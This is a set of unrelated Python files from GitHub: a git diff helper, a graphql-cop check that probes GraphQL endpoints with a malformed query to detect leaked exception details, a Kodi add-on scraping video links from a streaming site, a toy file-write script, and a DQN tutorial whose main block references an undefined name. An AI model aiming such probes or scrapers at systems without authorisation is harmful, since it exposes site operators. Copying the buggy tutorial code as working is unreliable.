+{"seq_id":"70892662163","text":"#!/usr/bin/python\r\n\r\nimport git as pygit\r\nimport gdiff\r\n\r\nfrom config import *\r\nfrom commit import *\r\n\r\nclass GitCommit(Commit):\r\n    def getDiffsArray(self):\r\n        if self.diffIsReallyBig: return []\r\n        \r\n        alldiffs = []\r\n        differ = gdiff.diff_match_patch()\r\n                \r\n        commit = self.getChangedTextMetadata()\r\n        for d in commit.diff(commit.__str__()+'^').iter_change_type('M'): #Changed\r\n            left = d.a_blob.data_stream.read()\r\n            right = d.b_blob.data_stream.read()\r\n            alldiffs.append(differ.diff_main(left, right))\r\n\r\n        for d in commit.diff(commit.__str__()+'^').iter_change_type('A'): #Added\r\n            addition = d.b_blob.data_stream.read()\r\n            alldiffs.append(differ.diff_main('', addition))\r\n\r\n        return alldiffs\r\n    def getChangedTextMetadata(self):\r\n        localfolder = urlToFolder(self.repo.url)\r\n        repoloc = Config.fsdir + 'git-repos/' + localfolder + '/'\r\n        repo = pygit.Repo(repoloc)\r\n                \r\n        commit = repo.commit(self.uniqueid)\r\n        return commit\r\n    def getChangedTexts(self, commitobj):\r\n        if self.changedTexts != None:\r\n            return self.changedTexts\r\n        elif self.changedTexts_data != None:\r\n            return self._loadChangedTextFromBackingVar()\r\n        elif commitobj == None:\r\n            raise Exception(\"NULL passed to getChangedTexts when local changedTexts was not set\")\r\n            \r\n        alldiffs = []\r\n        differ = gdiff.diff_match_patch()\r\n        \r\n        for d in commitobj.diff(commitobj.__str__()+'^').iter_change_type('M'): #Changed\r\n            left = d.a_blob.data_stream.read()\r\n            right = d.b_blob.data_stream.read()\r\n            diffs = differ.diff_main(left, right)\r\n            if diffs: differ.diff_cleanupSemantic(diffs)\r\n\r\n            for d in diffs:\r\n                if d[0] != 0 and d[1].strip():\r\n                    alldiffs.append(d[1].lower())\r\n\r\n        for d in commitobj.diff(commitobj.__str__()+'^').iter_change_type('A'): #Added\r\n            addition = d.b_blob.data_stream.read()\r\n            alldiffs.append(addition.lower())\r\n        #for d in commitobj.diff(commitobj.__str__()+'^').iter_change_type('D'): #Deleted\r\n        #    pass\r\n        #for d in commitobj.diff(commitobj.__str__()+'^').iter_change_type('R'): #Renamed\r\n        #    pass\r\n        self.changedTexts = alldiffs\r\n        return self.changedTexts\r\n","repo_name":"cryptodotis/code-peer-review","sub_path":"gitcommit.py","file_name":"gitcommit.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"3"}
+{"seq_id":"31869339791","text":"\"\"\"Collect trace mode details.\"\"\"\nfrom lib.utils import graph_query, curlify\n\n\ndef unhandled_error_detection(url, proxy, headers, debug_mode):\n  \"\"\"Get unhandled errors.\"\"\"\n  res = {\n    'result':False,\n    'title':'Unhandled Errors Detection',\n    'description':'Exception errors are not handled',\n    'impact':'Information Leakage - /' + url.rsplit('/', 1)[-1],\n    'severity':'INFO',\n    'color': 'green',\n    'curl_verify':''\n  }\n\n  q = 'qwerty cop { abc }'\n\n  try:\n    if debug_mode:\n      headers['X-GraphQL-Cop-Test'] = res['title']\n    gql_response = graph_query(url, proxies=proxy, headers=headers, payload=q)\n    res['curl_verify'] = curlify(gql_response)\n    if gql_response.json()['errors'][0]['extensions']['exception']:\n      res['result'] = True\n    elif '\\'extensions\\': {\\'exception\\':' in str(gql_response.json()).lower():\n      res['result'] = True\n  except:\n    pass\n\n  return res\n","repo_name":"dolevf/graphql-cop","sub_path":"lib/tests/info_unhandled_error.py","file_name":"info_unhandled_error.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":241,"dataset":"github-code","pt":"3"}
+{"seq_id":"20945715164","text":"# zombi https://github.com/zombiB/zombi-addons/\r\n\r\nimport re\r\n\t\r\nfrom resources.lib.gui.hoster import cHosterGui\r\nfrom resources.lib.gui.gui import cGui\r\nfrom resources.lib.handler.inputParameterHandler import cInputParameterHandler\r\nfrom resources.lib.handler.outputParameterHandler import cOutputParameterHandler\r\nfrom resources.lib.handler.requestHandler import cRequestHandler\r\nfrom resources.lib.comaddon import VSlog, siteManager, addon\r\nfrom resources.lib.parser import cParser\r\n\r\nADDON = addon()\r\nicons = ADDON.getSetting('defaultIcons')\r\n\r\nSITE_IDENTIFIER = 'shoofvod'\r\nSITE_NAME = 'Shoofvod'\r\nSITE_DESC = 'arabic vod'\r\n \r\nURL_MAIN = siteManager().getUrlMain(SITE_IDENTIFIER)\r\n\r\nRAMADAN_SERIES = (URL_MAIN + '/Cat-144-1', 'showSeries')\r\nMOVIE_EN = (URL_MAIN + '/al_751319_1', 'showMovies')\r\nMOVIE_AR = (URL_MAIN + '/Cat-100-1', 'showMovies')\r\nMOVIE_HI = (URL_MAIN + '/Cat-132-1', 'showMovies')\r\nMOVIE_TURK = (URL_MAIN + '/Cat-48-1', 'showMovies')\r\nMOVIE_ANIME = (URL_MAIN + '/Cat-57-1', 'showMovies')\r\nDOC_NEWS = (URL_MAIN + '/Cat-23-1', 'showMovies')\r\nSERIE_DUBBED = (URL_MAIN + '/Cat-129-1', 'showSeries')\r\nSERIE_AR = (URL_MAIN + '/Cat-98-1', 'showSeries')\r\nSERIE_TR = (URL_MAIN + '/Cat-128-1', 'showSeries')\r\nSERIE_TR_AR = (URL_MAIN + '/Cat-129-1', 'showSeries')\r\nSERIE_HEND = (URL_MAIN + '/Cat-130-1', 'showSeries')\r\nSERIE_GENRES = (True, 'showGenres')\r\nREPLAYTV_NEWS = (URL_MAIN + '/Cat-39-1', 'showSeries')\r\nTHEATER = (URL_MAIN + '/Cat-44-1', 'showEps')\r\nKID_CARTOON = (URL_MAIN + '/Cat-56-1', 'showSeries')\r\n\r\nURL_SEARCH = (URL_MAIN + '/Search/', 'showMovies')\r\nFUNCTION_SEARCH = 'showMovies'\r\n \r\ndef load():\r\n    oGui = cGui()\r\n\r\n    oOutputParameterHandler = cOutputParameterHandler()\r\n    oOutputParameterHandler.addParameter('siteUrl', 'http://venom/')\r\n    oGui.addDir(SITE_IDENTIFIER, 'showSearch', 'Search', icons + '/Search.png', oOutputParameterHandler)\r\n    \r\n    oOutputParameterHandler.addParameter('siteUrl', RAMADAN_SERIES[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'مسلسلات رمضان', icons + '/Ramadan.png', oOutputParameterHandler)\r\n\r\n    oOutputParameterHandler.addParameter('siteUrl', MOVIE_EN[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showMovies', 'أفلام أجنبية', icons + '/MoviesEnglish.png', oOutputParameterHandler)\r\n   \r\n    oOutputParameterHandler.addParameter('siteUrl', MOVIE_AR[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showMovies', 'أفلام عربية', icons + '/Arabic.png', oOutputParameterHandler)\r\n   \r\n    oOutputParameterHandler.addParameter('siteUrl', MOVIE_TURK[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showMovies', 'أفلام تركية', icons + '/Turkish.png', oOutputParameterHandler)\r\n    \r\n    oOutputParameterHandler.addParameter('siteUrl', MOVIE_HI[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showMovies', 'أفلام هندية', icons + '/Hindi.png', oOutputParameterHandler) \r\n    \r\n    oOutputParameterHandler.addParameter('siteUrl', MOVIE_ANIME[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showMovies', 'أفلام إنمي', icons + '/Anime.png', oOutputParameterHandler)\r\n\r\n    oOutputParameterHandler.addParameter('siteUrl', DOC_NEWS[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showMovies', 'أفلام وثائقية', icons + '/Documentary.png', oOutputParameterHandler)\r\n \r\n    oOutputParameterHandler.addParameter('siteUrl', SERIE_AR[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'مسلسلات عربية', icons + '/Arabic.png', oOutputParameterHandler)\r\n\r\n    oOutputParameterHandler.addParameter('siteUrl', SERIE_TR[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'مسلسلات تركية', icons + '/Turkish.png', oOutputParameterHandler)\r\n\r\n    oOutputParameterHandler.addParameter('siteUrl', SERIE_HEND[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showSerie', 'مسلسلات هندية', icons + '/Hindi.png', oOutputParameterHandler)\r\n \r\n    oOutputParameterHandler.addParameter('siteUrl', SERIE_TR_AR[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'مسلسلات تركية مدبلجة', icons + '/TVShowsTurkish-Dubbed.png', oOutputParameterHandler)\r\n    \r\n    oOutputParameterHandler.addParameter('siteUrl', SERIE_DUBBED[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'مسلسلات مدبلجة', icons + '/Dubbed.png', oOutputParameterHandler)\r\n    \r\n    oOutputParameterHandler.addParameter('siteUrl', KID_CARTOON[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'مسلسلات كرتون', icons + '/Cartoon.png', oOutputParameterHandler)   \r\n\r\n    oOutputParameterHandler.addParameter('siteUrl', REPLAYTV_NEWS[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'برامج تلفزيونية',icons + '/Programs.png', oOutputParameterHandler)\r\n\t\r\n    oOutputParameterHandler.addParameter('siteUrl', THEATER[0])\r\n    oGui.addDir(SITE_IDENTIFIER, 'showEps', 'مسرحيات', icons + '/Theater.png', oOutputParameterHandler)\r\n \r\n    oGui.setEndOfDirectory()\r\n \r\ndef showSearch():\r\n    oGui = cGui()\r\n \r\n    sSearchText = oGui.showKeyBoard()\r\n    if sSearchText:\r\n        sUrl = URL_MAIN + '/Search/'+sSearchText\r\n\r\n        showMovies(sUrl)\r\n        oGui.setEndOfDirectory()\r\n        return\r\n    \r\ndef showGenres():\r\n    oGui = cGui()\r\n    oInputParameterHandler = cInputParameterHandler()\r\n    sUrl = oInputParameterHandler.getValue('siteUrl')\r\n \r\n    liste = []\r\n\t\r\n    liste.append( ['مسلسلات سورية - لبنانية',URL_MAIN + '/Cat-93-1'] )\r\n\r\n \r\n    for sTitle,sUrl in liste:\r\n \r\n        oOutputParameterHandler = cOutputParameterHandler()\r\n        oOutputParameterHandler.addParameter('siteUrl', sUrl)\r\n        oGui.addDir(SITE_IDENTIFIER, 'showSeries', sTitle, icons + '/Genres.png', oOutputParameterHandler)\r\n \r\n    oGui.setEndOfDirectory()\r\n \r\ndef showMovies(sSearch = ''):\r\n    oGui = cGui()\r\n    if sSearch:\r\n      sUrl = sSearch\r\n    else:\r\n        oInputParameterHandler = cInputParameterHandler()\r\n        sUrl = oInputParameterHandler.getValue('siteUrl')\r\n \r\n    oRequestHandler = cRequestHandler(sUrl)\r\n    sHtmlContent = oRequestHandler.request()\r\n \r\n     # (.+?) ([^<]+) .+?\r\n    sPattern = '<div class=\"col-md-3 col-sm-4 col-xs-4 col-xxs-6 item\">.+?<a href=\"([^<]+)\">.+?<img src=\"([^<]+)\" class.+?<div class=\"title\"><h4>([^<]+)</h4></div>'\r\n\r\n    oParser = cParser()\r\n    aResult = oParser.parse(sHtmlContent, sPattern)\r\n\t\r\n\t\r\n    if aResult[0]:\r\n        oOutputParameterHandler = cOutputParameterHandler()\r\n        for aEntry in aResult[1]:\r\n \r\n            sTitle = aEntry[2].replace(\"مشاهدة\",\"\").replace(\"مترجمة\",\"\").replace(\"مترجم\",\"\").replace(\"فيلم\",\"\").replace(\"مسلسل\",\"\").replace(\"مدبلج للعربية\",\"\").replace(\"مدبلج\",\"\").replace(\"والأخيرة\",\"\").replace(\"-\",\"\").replace(\"الحلقة \",\" E\").replace(\"حلقة \",\" E\")\r\n\r\n\r\n            siteUrl = URL_MAIN+aEntry[0]\r\n            siteUrl = siteUrl.replace('vidpage_','Play/')\r\n            sThumb = aEntry[1]\r\n            sDesc = ''\r\n            sYear = ''\r\n            m = re.search('([0-9]{4})', sTitle)\r\n            if m:\r\n                sYear = str(m.group(0))\r\n                sTitle = sTitle.replace(sYear,'')\r\n\r\n\r\n            oOutputParameterHandler.addParameter('siteUrl',siteUrl)\r\n            oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\r\n            oOutputParameterHandler.addParameter('sThumb', sThumb)\r\n            oOutputParameterHandler.addParameter('sYear', sYear)\r\n            oOutputParameterHandler.addParameter('sDesc', sDesc)\r\n\t\t\t\r\n            if 'الحلقة' in aEntry[2]:\r\n                oGui.addTV(SITE_IDENTIFIER, 'showHosters', sTitle, '', sThumb, sDesc, oOutputParameterHandler)\r\n            else:\r\n\r\n                oGui.addMovie(SITE_IDENTIFIER, 'showHosters', sTitle, '', sThumb, sDesc, oOutputParameterHandler)\r\n \r\n    if not sSearch:\r\n        sNextPage = __checkForNextPage(sHtmlContent)\r\n        if sNextPage:\r\n            oOutputParameterHandler = cOutputParameterHandler()\r\n            oOutputParameterHandler.addParameter('siteUrl', sNextPage)\r\n            oGui.addDir(SITE_IDENTIFIER, 'showSeries', '[COLOR teal]Next >>>[/COLOR]', icons + '/Next.png', oOutputParameterHandler)\r\n        oGui.setEndOfDirectory()\r\n \r\ndef showSeries(sSearch = ''):\r\n    oGui = cGui()\r\n    if sSearch:\r\n      sUrl = sSearch\r\n    else:\r\n        oInputParameterHandler = cInputParameterHandler()\r\n        sUrl = oInputParameterHandler.getValue('siteUrl')\r\n \r\n    oRequestHandler = cRequestHandler(sUrl)\r\n    sHtmlContent = oRequestHandler.request()\r\n      # (.+?) ([^<]+) .+?\r\n    sPattern = '<div class=\"col-md-3 col-sm-4 col-xs-4 col-xxs-6 item\">.+?<a href=\"([^<]+)\">.+?<img src=\"([^<]+)\" class.+?<div class=\"title\"><h4>([^<]+)</h4></div>'\r\n\r\n    oParser = cParser()\r\n    aResult = oParser.parse(sHtmlContent, sPattern)\r\n\t\r\n\t\r\n    if aResult[0]:\r\n        oOutputParameterHandler = cOutputParameterHandler()\r\n        for aEntry in aResult[1]:\r\n \r\n            sTitle = aEntry[2].replace(\"��شاهدة\",\"\").replace(\"مترجمة\",\"\").replace(\"مترجم\",\"\").replace(\"فيلم\",\"\").replace(\"مسلسل\",\"\").replace(\"مدبلج للعربية\",\"\").replace(\"مدبلج\",\"\").replace(\"والأخيرة\",\"\").replace(\"-\",\"\").replace(\"الحلقة \",\" E\").replace(\"حلقة \",\" E\")\r\n            siteUrl = URL_MAIN+aEntry[0]\r\n            sThumb = aEntry[1]\r\n            sDesc = \"\"\r\n            sYear = \"\"\r\n\t\t\t\r\n\r\n\r\n            oOutputParameterHandler.addParameter('siteUrl',siteUrl)\r\n            oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\r\n            oOutputParameterHandler.addParameter('sThumb', sThumb)\r\n            oOutputParameterHandler.addParameter('sYear', sYear)\r\n            oOutputParameterHandler.addParameter('sDesc', sDesc)\r\n\r\n            oGui.addTV(SITE_IDENTIFIER, 'showEps', sTitle, '', sThumb, sDesc, oOutputParameterHandler)\r\n        \r\n        \r\n \r\n    if not sSearch:\r\n        sNextPage = __checkForNextPage(sHtmlContent)\r\n        if sNextPage:\r\n            oOutputParameterHandler = cOutputParameterHandler()\r\n            oOutputParameterHandler.addParameter('siteUrl', sNextPage)\r\n            oGui.addDir(SITE_IDENTIFIER, 'showSeries', '[COLOR teal]Next >>>[/COLOR]', icons + '/Next.png', oOutputParameterHandler)\r\n        oGui.setEndOfDirectory()\r\n \r\n \r\ndef __checkForNextPage(sHtmlContent):\r\n    sPattern = '<a href=\"([^<]+)\">(.+?)</a>'\r\n\t\r\n    oParser = cParser()\r\n    aResult = oParser.parse(sHtmlContent, sPattern)\r\n \r\n    if aResult[0]:\r\n        for aEntry in aResult[1]:\r\n            if 'التالي' in aEntry[1]:\r\n                VSlog(URL_MAIN+aEntry[0])\r\n                return URL_MAIN+aEntry[0]\r\n\r\n    return False\r\n  \r\ndef showEps():\r\n    oGui = cGui()\r\n   \r\n    oInputParameterHandler = cInputParameterHandler()\r\n    sUrl = oInputParameterHandler.getValue('siteUrl')\r\n    sMovieTitle = oInputParameterHandler.getValue('sMovieTitle')\r\n    sThumb = oInputParameterHandler.getValue('sThumb')\r\n \r\n    oRequestHandler = cRequestHandler(sUrl)\r\n    sHtmlContent = oRequestHandler.request()\r\n     # (.+?) ([^<]+) .+?\r\n    sPattern = '<div class=\"col-md-3 col-sm-4 col-xs-4 col-xxs-6 item\">.+?<a href=\"([^<]+)\">.+?<img src=\"([^<]+)\" class=\"img-responsive mrg-btm-5\">.+?<div class=\"title\"><h4>([^<]+)</h4></div>'\r\n\r\n    oParser = cParser()\r\n    aResult = oParser.parse(sHtmlContent, sPattern)\r\n\r\n   \r\n    if aResult[0]:\r\n        oOutputParameterHandler = cOutputParameterHandler()\r\n        for aEntry in aResult[1]:\r\n \r\n            sTitle = aEntry[2].replace(\"مشاهدة\",\"\").replace(\"مترجمة\",\"\").replace(\"مترجم\",\"\").replace(\"فيلم\",\"\").replace(\"مسلسل\",\"\").replace(\"مدبلج للعربية\",\"\").replace(\"مدبلج\",\"\").replace(\"والأخيرة\",\"\").replace(\"-\",\"\").replace(\"الحلقة \",\" E\").replace(\"حلقة \",\" E\")\r\n            siteUrl = URL_MAIN+aEntry[0]\r\n            siteUrl = siteUrl.replace('vidpage_','Play/')\r\n            sThumb = aEntry[1]\r\n            sDesc = \"\"\r\n\r\n \r\n\r\n            oOutputParameterHandler.addParameter('siteUrl', siteUrl)\r\n            oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\r\n            oOutputParameterHandler.addParameter('sThumb', sThumb)\r\n\r\n            \r\n\r\n \r\n            oGui.addEpisode(SITE_IDENTIFIER, 'showHosters',  sTitle, '', sThumb, sDesc, oOutputParameterHandler)\r\n       \r\n    oGui.setEndOfDirectory()\r\n    \r\ndef showHosters():\r\n    oGui = cGui()\r\n    oInputParameterHandler = cInputParameterHandler()\r\n    sUrl = oInputParameterHandler.getValue('siteUrl')\r\n    sMovieTitle = oInputParameterHandler.getValue('sMovieTitle')\r\n    sThumb = oInputParameterHandler.getValue('sThumb')\r\n\r\n    UA = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0'\r\n    \r\n    oRequestHandler = cRequestHandler(sUrl)\r\n    sHtmlContent = oRequestHandler.request()\r\n\r\n    oParser = cParser()\r\n            \r\n    sPattern =  'var url = \"([^<]+)\" +' \r\n    aResult = oParser.parse(sHtmlContent,sPattern)\r\n    if aResult[0]:\r\n        m3url = aResult[1][0]\r\n        m3url = URL_MAIN + '' + m3url \r\n        oRequest = cRequestHandler(m3url)\r\n        sHtmlContent = oRequest.request()\r\n         # (.+?) ([^<]+) .+?       \r\n    sPattern =  '<iframe src=\"(.+?)\"' \r\n    aResult = oParser.parse(sHtmlContent,sPattern)\r\n    if aResult[0]:\r\n        m3url = aResult[1][0]\r\n        m3url = 'http:' + m3url \r\n\t\t\t\r\n        oRequest = cRequestHandler(m3url)\r\n        sHtmlContent = oRequest.request()\r\n        sPattern = '<source src=\"(.+?)\" type='\r\n        aResult = oParser.parse(sHtmlContent, sPattern)\r\n    \r\n        if aResult[0]:\r\n            for aEntry in aResult[1]:       \r\n                url = aEntry\r\n                if url.startswith('//'):\r\n                   url = 'http:' + url\r\n                sHosterUrl = url  \r\n                oHoster = cHosterGui().checkHoster(sHosterUrl)\r\n                if oHoster:\r\n                   oHoster.setDisplayName(sMovieTitle)\r\n                   oHoster.setFileName(sMovieTitle)\r\n                   cHosterGui().showHoster(oGui, oHoster, sHosterUrl, sThumb)\r\n\r\n    oGui.setEndOfDirectory()\r\n","repo_name":"zombiB/zombi-addons","sub_path":"plugin.video.matrix/resources/sites/shoofvod.py","file_name":"shoofvod.py","file_ext":"py","file_size_in_byte":13940,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"3"}
+{"seq_id":"16643487947","text":"def write_to_file(file, sentences):\n  # for s in sentences:\n  #   file.write(s + '\\n')\n\n  file.write(sentences)\n\nfileHandle = open('sentences.txt', 'w')\ns = ['propozitia1', 'ana are mere', 'sentence2']\nwrite_to_file(fileHandle, s)\nfileHandle.close()","repo_name":"razvanmarinescu/programming_tasks","sub_path":"task2/sentences.py","file_name":"sentences.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17871749938","text":"\"\"\"\nDeep Q-Network Q(a, s)\n-----------------------\nTD Learning, Off-Policy, e-Greedy Exploration (GLIE).\nQ(S, A) <- Q(S, A) + alpha * (R + lambda * Q(newS, newA) - Q(S, A))\ndelta_w = R + lambda * Q(newS, newA)\nSee David Silver RL Tutorial Lecture 5 - Q-Learning for more details.\nReference\n----------\noriginal paper: https://storage.googleapis.com/deepmind-media/dqn/DQNNaturePaper.pdf\nEN: https://medium.com/emergent-future/simple-reinforcement-learning-with-tensorflow-part-0-q-learning-with-tables-and-neural-networks-d195264329d0#.5m3361vlw\nCN: https://zhuanlan.zhihu.com/p/25710327\nNote: Policy Network has been proved to be better than Q-Learning, see tutorial_atari_pong.py\nEnvironment\n-----------\n# The FrozenLake v0 environment\nhttps://gym.openai.com/envs/FrozenLake-v0\nThe agent controls the movement of a character in a grid world. Some tiles of\nthe grid are walkable, and others lead to the agent falling into the water.\nAdditionally, the movement direction of the agent is uncertain and only partially\ndepends on the chosen direction. The agent is rewarded for finding a walkable\npath to a goal tile.\nSFFF       (S: starting point, safe)\nFHFH       (F: frozen surface, safe)\nFFFH       (H: hole, fall to your doom)\nHFFG       (G: goal, where the frisbee is located)\nThe episode ends when you reach the goal or fall in a hole. You receive a reward\nof 1 if you reach the goal, and zero otherwise.\nPrerequisites\n--------------\ntensorflow>=2.0.0a0\ntensorlayer>=2.0.0\nTo run\n-------\npython tutorial_DQN.py --train/test\n\"\"\"\nimport os\nimport argparse\nimport time\nimport gym\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\n\n\n#####################  hyper parameters  ####################\nlambd = .99             # 折扣率(decay factor)\ne = 0.5                 # epsilon-greedy算法参数，越大随机性越大，越倾向于探索行为。\nnum_episodes = 5000    # 迭代次数\nrender = False          # 是否渲染游戏\nrunning_reward = None\nis_training = False\n\n\nenv = gym.make('FrozenLake-v0')  #定义环境\n\n##################### DQN ##########################\n\n## 把分类的数字表示，变成onehot表示。\n# 例如有4类，那么第三类变为：[0,0,1,0]的表示。\ndef to_one_hot(i, n_classes=None):\n    a = np.zeros(n_classes, 'uint8')    # 这里先按照分类数量构建一个全0向量\n    a[i] = 1                            # 然后点亮需要onehot的位数。\n    return a\n\n\n## Define Q-network q(a,s) that ouput the rewards of 4 actions by given state, i.e. Action-Value Function.\n# encoding for state: 4x4 grid can be represented by one-hot vector with 16 integers.\ndef get_model(inputs_shape):\n    '''\n    定义Q网络模型：\n    1. 注意输入的shape和输出的shape\n    2. W_init和b_init是模型在初始化的时候，控制初始化参数的随机。该代码中用正态分布，均值0，方差0.01的方式初始化参数。\n    '''\n\n    \"\"\"\n    ni = tl.layers.Input(inputs_shape, name='observation')\n    nn = tl.layers.Dense(4, act=None, W_init=tf.random_uniform_initializer(0, 0.01), b_init=None, name='q_a_s')(ni)\n    return tl.models.Model(inputs=ni, outputs=nn, name=\"Q-Network\")\n    \"\"\"\n    return keras.models.Sequential([\n        keras.layers.Input(inputs_shape, name='observation'),\n        keras.layers.Dense(128, activation=tf.nn.leaky_relu, name='q_a_s'),\n        keras.layers.Dense(4, activation=tf.nn.leaky_relu, name=\"Q-Network\")\n    ])\n\ndef get_save_path():\n    this_path = os.path.split(os.path.realpath(__file__))[0]\n    return os.path.abspath(\"%s/../../dqn_model\" % this_path)\n\ndef save_ckpt(model):  # save trained weights\n    '''\n    保存参数\n    '''\n    model.save(get_save_path())\n\n\ndef load_ckpt():  # load trained weights\n    '''\n    加载参数\n    '''\n    return keras.models.load_model(get_save_path())\n\ndef training_batch():\n\n    global lambd\n    global e\n    global num_episodes\n    global render\n    global running_reward\n    global env #定义环境\n\n    qnetwork = get_model((16,))            #定义inputshape[None,16]。16是state数量\n    qnetwork.compile()\n    train_weights = qnetwork.trainable_weights  #模型的参数\n    optimizer = tf.optimizers.SGD(learning_rate=0.1)   #定义优化器\n\n    t0 = time.time()\n    for i in range(num_episodes):\n        ## 重置环境初始状态\n        s = env.reset()\n        rAll = 0\n\n        s_batch = []\n        a_batch = []\n        q_batch = []\n        r_batch = []\n\n        for j in range(99):             # 最多探索99步。因为环境状态比较少，99步一般也够探索到最终状态了。\n            if render: env.render()\n\n            s_hot = np.asarray([to_one_hot(s, 16)], dtype=np.float32)\n            s_batch.append(s_hot[0])\n\n            ## 把state放入network，计算Q值。\n            ## 注意，这里先把state进行onehote处理，这里注意解释下什么是onehot\n            ## 输出，这个状态下，所有动作的Q值，也就是说，是一个[None,4]大小的矩阵\n            Q = qnetwork(s_hot).numpy()\n            q_batch.append(Q[0])\n\n            # 在矩阵中找最大的Q值的动作\n            a = np.argmax(Q, 1)\n            # e-Greedy：如果小于epsilon，就智能体随机探索。否则，就用最大Q值的动作。\n            if np.random.rand(1) < e:\n                a[0] = env.action_space.sample()\n            a_batch.append(a)\n\n            # 输入到环境，获得下一步的state，reward，done\n            s1, r, d, _ = env.step(a[0])\n            r_batch.append(r)\n\n            #更新epsilon，让epsilon随着迭代次数增加而减少。\n            #目的就是智能体越来越少进行“探索”\n            if d ==True:\n                break\n            s = s1\n\n        target_qvalues = np.array(r_batch, dtype=np.float32)\n\n        total_reward = np.sum(target_qvalues)\n\n        for index in range(len(target_qvalues)):\n            target_qvalues[index] = np.sum(target_qvalues[index:])\n\n        target_qvalues_batch = []\n        for index in range(len(q_batch)):\n            q = q_batch[index]\n            a = a_batch[index][0]\n            q[a] = target_qvalues[index]\n            target_qvalues_batch.append(q)\n        target_qvalues_batch = np.asarray(target_qvalues_batch, dtype=np.float32)\n\n        with tf.GradientTape() as tape:\n            _qvalues = qnetwork(np.asarray(s_batch, dtype=np.float32))  #把s放入到Q网络，计算_qvalues。\n            _loss = tf.losses.mean_squared_error(target_qvalues_batch, _qvalues)\n\n        grad = tape.gradient(_loss, train_weights)\n            # 应用梯度到网络参数求导 \n        optimizer.apply_gradients(zip(grad, train_weights))\n\n        # 累计reward，并且把s更新为newstate\n        rAll = np.sum(r_batch)\n           \n        ## 这里的running_reward用于记载每一次更新的总和。为了能够更加看清变化，所以大部分是前面的。只有一部分是后面的。\n        running_reward = rAll if running_reward is None else running_reward * 0.99 + rAll * 0.01\n        # print(\"Episode [%d/%d] sum reward: %f running reward: %f took: %.5fs \" % \\\n        #     (i, num_episodes, rAll, running_reward, time.time() - episode_time))\n        print('Episode: {}/{}  | Episode Reward: {:.4f} | Running Average Reward: {:.4f}  | Running Time: {:.4f} | step:{}'\\\n        .format(i, num_episodes, rAll, running_reward,  time.time()-t0, len(a_batch) ))\n    save_ckpt(qnetwork)  # save model\n\ndef predict():\n\n    global lambd\n    global num_episodes\n    global render\n    global running_reward\n    global env #定义环境\n\n    t0 = time.time()\n    qnetwork = load_ckpt()  # load model\n    for i in range(num_episodes):\n        ## Reset environment and get first new observation\n        episode_time = time.time()\n        s = env.reset()  # observation is state, integer 0 ~ 15\n        rAll = 0\n        for j in range(99):  # step index, maximum step is 99\n            if render: env.render()\n            \n            ## Choose an action by greedily (with e chance of random action) from the Q-network\n            allQ = qnetwork(np.asarray([to_one_hot(s, 16)], dtype=np.float32)).numpy()\n            a = np.argmax(allQ, 1)  # no epsilon, only greedy for testing\n\n            ## Get new state and reward from environment\n            s1, r, d, _ = env.step(a[0])\n            rAll += r\n            s = s1\n            ## Reduce chance of random action if an episode is done.\n            if d ==True:\n                break\n\n        ## Note that, the rewards here with random action\n        running_reward = rAll if running_reward is None else running_reward * 0.99 + rAll * 0.01\n        # print(\"Episode [%d/%d] sum reward: %f running reward: %f took: %.5fs \" % \\\n        #     (i, num_episodes, rAll, running_reward, time.time() - episode_time))\n        print('Episode: {}/{}  | Episode Reward: {:.4f} | Running Average Reward: {:.4f}  | Running Time: {:.4f}'\\\n        .format(i, num_episodes, rAll, running_reward,  time.time()-t0 ))\n\nif __name__ == '__main__':\n\n    print(\"is_training:%s, taining_batch:%s\" % (is_training, taining_batch))\n\n    if is_training:\n        training_batch()\n    else:\n        predict()","repo_name":"shazi129/py_workspace","sub_path":"ML/deep_learning/test_DQN.py","file_name":"test_DQN.py","file_ext":"py","file_size_in_byte":9154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24508421264","text":"import os\nimport numpy as np\nfrom PIL import Image\n\n\nfile_list=[]\nfor root, _, files in os.walk(\"../../data/miyazaki\"):\n    for name in files:\n        if name.endswith(\".jpg\"):\n            file_list.append(os.path.join(root, name))\n\n# Import images\nimages = []\nwrong = []\nfor i, file_path in enumerate(file_list):\n  print(\"----\", file_path)\n  img = Image.open(file_path)\n  img = np.array(img)\n","repo_name":"artset/image-to-illustration","sub_path":"preprocessing/check_data.py","file_name":"check_data.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
